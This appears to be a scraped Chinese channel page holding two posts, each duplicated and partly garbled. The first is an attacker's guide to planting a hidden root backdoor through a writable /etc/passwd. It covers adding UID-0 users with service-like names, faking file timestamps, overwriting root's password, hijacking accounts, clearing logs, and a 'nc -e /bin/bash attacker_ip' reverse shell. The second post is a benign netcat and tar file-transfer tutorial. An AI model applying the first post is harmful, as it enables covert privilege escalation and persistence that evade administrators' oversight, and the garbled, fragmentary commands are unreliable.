BroadcastChannel
https://channel.gandli.eu.org/
https://channel.gandli.eu.org/
如果你只能利用 /etc/passwd 的可读写权限(没有对 /etc/shadow 或其他文件的控制权),可以通过以下方式优化你的方法,以创建一个拥有 root 权限的用户并尽可能隐蔽操作。
---
基础方法
直接在 /etc/passwd 中添加用户:
echo "user1:$(openssl passwd -1 user1):0:0:root:/root:/bin/bash" >> /etc/passwd
user1 是用户名。
openssl passwd -1 user1 用于生成 MD5 加密的密码 user1。
注意: 由于现代系统可能使用 shadow 文件存储密码,这种方法只能在支持 /etc/passwd 密码存储的情况下使用。
---
优化操作
1. 伪装用户名
选择与系统服务类似的用户名以降低可疑性,例如:
systemd-helper:x:0:0:root:/root:/bin/bash
将 user1 替换为更隐蔽的名字,如 systemd-helper 或 networkd.
---
2. 加密密码
生成更复杂的密码哈希:
perl -le "print crypt('YourSecurePassword', 'RandomSalt')"
替换 YourSecurePassword 为你选择的密码,并将结果填入 /etc/passwd,如:
systemd-helper:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
---
3. 时间伪造
恢复 /etc/passwd 文件的时间戳,以避免管理员发现修改痕迹:
touch -r /etc/passwd.bak /etc/passwd
这里 /etc/passwd.bak 是修改前的备份。
---
4. 隐藏用户
将创建的用户伪装为系统进程的用户,避免被直接察觉:
用户名以 _ 或 . 开头(部分工具可能不会显示)。 例如:
.networkd:x:0:0:root:/root:/bin/bash
修改 shell 为 /sbin/nologin,使用以下命令切换 shell 时激活:
.networkd:x:0:0:root:/root:/sbin/nologin
后续可通过 su .networkd 或直接切换到 root 用户。
---
特殊利用方式
1. 覆盖现有用户密码
找到目标系统中已存在的高权限用户(如 root),直接覆盖其密码字段:
root:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
通过这种方式,你可以复用 root 用户,而不会新增条目。
2. 劫持其他用户的账户
将目标普通用户的 UID 和 GID 设置为 0:
targetuser:x:0:0:target:/home/target:/bin/bash
这样,targetuser 实际变为 root。
3. 恶意脚本植入
在 /etc/passwd 的备注字段插入命令(需环境支持):
user1:x:0:0:root:/root:/bin/bash:/bin/bash #
备注字段理论上不会影响用户功能,但如果某些系统工具执行这段命令,可达到执行后门的目的。
---
注意事项
1. 兼容性:
部分系统可能忽略 /etc/passwd 中的密码字段(如果启用了 /etc/shadow)。
测试目标环境是否支持 /etc/passwd 内存储密码。
2. 隐蔽性:
避免高频操作;伪装用户名与系统服务一致。
恢复文件时间戳,并清理任何可能的日志痕迹。
3. 审计风险:
/etc/passwd 的变更很容易触发系统安全工具警报。
优化清理工作以降低被检测的可能性。
---
基础方法
直接在 /etc/passwd 中添加用户:
echo "user1:$(openssl passwd -1 user1):0:0:root:/root:/bin/bash" >> /etc/passwd
user1 是用户名。
openssl passwd -1 user1 用于生成 MD5 加密的密码 user1。
注意: 由于现代系统可能使用 shadow 文件存储密码,这种方法只能在支持 /etc/passwd 密码存储的情况下使用。
---
优化操作
1. 伪装用户名
选择与系统服务类似的用户名以降低可疑性,例如:
systemd-helper:x:0:0:root:/root:/bin/bash
将 user1 替换为更隐蔽的名字,如 systemd-helper 或 networkd.
---
2. 加密密码
生成更复杂的密码哈希:
perl -le "print crypt('YourSecurePassword', 'RandomSalt')"
替换 YourSecurePassword 为你选择的密码,并将结果填入 /etc/passwd,如:
systemd-helper:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
---
3. 时间伪造
恢复 /etc/passwd 文件的时间戳,以避免管理员发现修改痕迹:
touch -r /etc/passwd.bak /etc/passwd
这里 /etc/passwd.bak 是修改前的备份。
---
4. 隐藏用户
将创建的用户伪装为系统进程的用户,避免被直接察觉:
用户名以 _ 或 . 开头(部分工具可能不会显示)。 例如:
.networkd:x:0:0:root:/root:/bin/bash
修改 shell 为 /sbin/nologin,使用以下命令切换 shell 时激活:
.networkd:x:0:0:root:/root:/sbin/nologin
后续可通过 su .networkd 或直接切换到 root 用户。
---
特殊利用方式
1. 覆盖现有用户密码
找到目标系统中已存在的高权限用户(如 root),直接覆盖其密码字段:
root:12WuJNXWqXu6g:0:0:root:/root:/bin/bash
通过这种方式,你可以复用 root 用户,而不会新增条目。
2. 劫持其他用户的账户
将目标普通用户的 UID 和 GID 设置为 0:
targetuser:x:0:0:target:/home/target:/bin/bash
这样,targetuser 实际变为 root。
3. 恶意脚本植入
在 /etc/passwd 的备注字段插入命令(需环境支持):
user1:x:0:0:root:/root:/bin/bash:/bin/bash #
nc -e /bin/bash attacker_ip 4444备注字段理论上不会影响用户功能,但如果某些系统工具执行这段命令,可达到执行后门的目的。
---
注意事项
1. 兼容性:
部分系统可能忽略 /etc/passwd 中的密码字段(如果启用了 /etc/shadow)。
测试目标环境是否支持 /etc/passwd 内存储密码。
2. 隐蔽性:
避免高频操作;伪装用户名与系统服务一致。
恢复文件时间戳,并清理任何可能的日志痕迹。
3. 审计风险:
/etc/passwd 的变更很容易触发系统安全工具警报。
优化清理工作以降低被检测的可能性。
### 使用 `nc`(Netcat)上传和下载文件夹与文件
`nc`(Netcat)是一个功能强大的网络工具,可以用于创建 TCP/UDP 连接。在文件传输方面,它被广泛应用于上传和下载文件,甚至可以传输整个目录。
在使用 `nc` 上传和下载文件夹时,由于
### 1. 使用 `nc` 上传单个文件
#### 发送方(上传方):
- `cat filename`:读取文件内容。
- `nc -lvp 4444`:在本地 `4444` 端口监听,等待接收数据。
#### 接收方(下载方):
-
- `> filename`:将接收到的数据写入本地文件。
### 2. 使用 `nc` 上传整个文件夹
由于
#### 发送方(上传方):
-
-
#### 接收方(下载方):
-
- `| tar -xzf -`:解压接收到的数据并恢复文件夹。
### 3. 使用 `nc` 上传和下载多个文件或目录(批量传输)
如果你需要批量传输多个文件或目录,依然可以利用
#### 发送方(上传方):
- `tar -czf -`:打包多个文件和目录。
- `/path/to/dir1 /path/to/dir2 /path/to/file1`:指定多个文件和目录。
-
#### 接收方(下载方):
- `nc 192.168.1.10 4444`:连接到发送方的 IP 和端口。
- `| tar -xzf -`:解压接收到的内容并恢复文件夹结构。
### 4. 使用 `nc` 传输大文件时的注意事项
传输大文件时,`nc` 默认情况下不会提供进度反馈,因此你可能希望在传输过程中查看进度。你可以使用 `pv`(Pipe Viewer)来查看传输进度。
#### 发送方(上传方):
#### 接收方(下载方):
### 5. 使用 `nc` 进行双向传输(文件和文件夹)
如果你想进行双向传输(既能上传文件又能下载文件),可以在两台机器上分别开启
#### 发送方(上传方):
#### 接收方(下载方):
### 总结
1. **单个文件**:可以直接使用
2. **文件夹**:使用
3. **进度显示**:使用
4. **批量传输**:打包多个文件或文件夹后进行传输。
#nc #文件传输 #tar #Linux #网络工具
`nc`(Netcat)是一个功能强大的网络工具,可以用于创建 TCP/UDP 连接。在文件传输方面,它被广泛应用于上传和下载文件,甚至可以传输整个目录。
在使用 `nc` 上传和下载文件夹时,由于
nc 本身并不直接支持目录结构的传输,你需要借助一些额外的工具(如 tar`)来压缩目录,并通过 `nc 进行传输。以下是使用 nc 上传和下载文件和文件夹的详细方法。### 1. 使用 `nc` 上传单个文件
#### 发送方(上传方):
cat filename | nc -lvp 4444- `cat filename`:读取文件内容。
- `nc -lvp 4444`:在本地 `4444` 端口监听,等待接收数据。
#### 接收方(下载方):
nc 192.168.1.10 4444 > filename-
nc 192.168.1.10 4444`:连接到发送方的 IP(例如 `192.168.1.10`)的 `4444 端口。- `> filename`:将接收到的数据写入本地文件。
### 2. 使用 `nc` 上传整个文件夹
由于
nc 不支持直接传输文件夹,你可以使用 tar 来打包整个文件夹,然后通过 nc 进行传输。#### 发送方(上传方):
tar -czf - /path/to/directory | nc -lvp 4444-
tar -czf - /path/to/directory`:使用 `tar 压缩并打包文件夹内容,`-` 表示将压缩数据输出到标准输出。-
| nc -lvp 4444`:将压缩的文件通过 `nc 发送到目标机器。#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf --
nc 192.168.1.10 4444`:连接到发送方的 `4444 端口。- `| tar -xzf -`:解压接收到的数据并恢复文件夹。
### 3. 使用 `nc` 上传和下载多个文件或目录(批量传输)
如果你需要批量传输多个文件或目录,依然可以利用
tar 来打包所有内容。#### 发送方(上传方):
tar -czf - /path/to/dir1 /path/to/dir2 /path/to/file1 | nc -lvp 4444- `tar -czf -`:打包多个文件和目录。
- `/path/to/dir1 /path/to/dir2 /path/to/file1`:指定多个文件和目录。
-
| nc -lvp 4444`:通过 `nc 将打包内容发送给接收方。#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf -- `nc 192.168.1.10 4444`:连接到发送方的 IP 和端口。
- `| tar -xzf -`:解压接收到的内容并恢复文件夹结构。
### 4. 使用 `nc` 传输大文件时的注意事项
传输大文件时,`nc` 默认情况下不会提供进度反馈,因此你可能希望在传输过程中查看进度。你可以使用 `pv`(Pipe Viewer)来查看传输进度。
#### 发送方(上传方):
tar -czf - /path/to/directory | pv | nc -lvp 4444#### 接收方(下载方):
nc 192.168.1.10 4444 | pv | tar -xzf -### 5. 使用 `nc` 进行双向传输(文件和文件夹)
如果你想进行双向传输(既能上传文件又能下载文件),可以在两台机器上分别开启
nc 监听和连接。你需要确保每个命令在正确的机器上运行。#### 发送方(上传方):
tar -czf - /path/to/directory | nc -lvp 4444#### 接收方(下载方):
nc 192.168.1.10 4444 | tar -xzf -### 总结
1. **单个文件**:可以直接使用
cat 和 nc 进行传输。2. **文件夹**:使用
tar 打包文件夹后,通过 nc 传输。3. **进度显示**:使用
pv 显示传输进度。4. **批量传输**:打包多个文件或文件夹后进行传输。
nc 是一个非常强大的工具,结合其他工具(如 tar 和 pv`),可以方便地用于文件夹的上传和下载。虽然它不像 `scp 或 rsync 那样内建加密和验证,但它在某些环境中依然是一个非常高效且简单的选择。#nc #文件传输 #tar #Linux #网络工具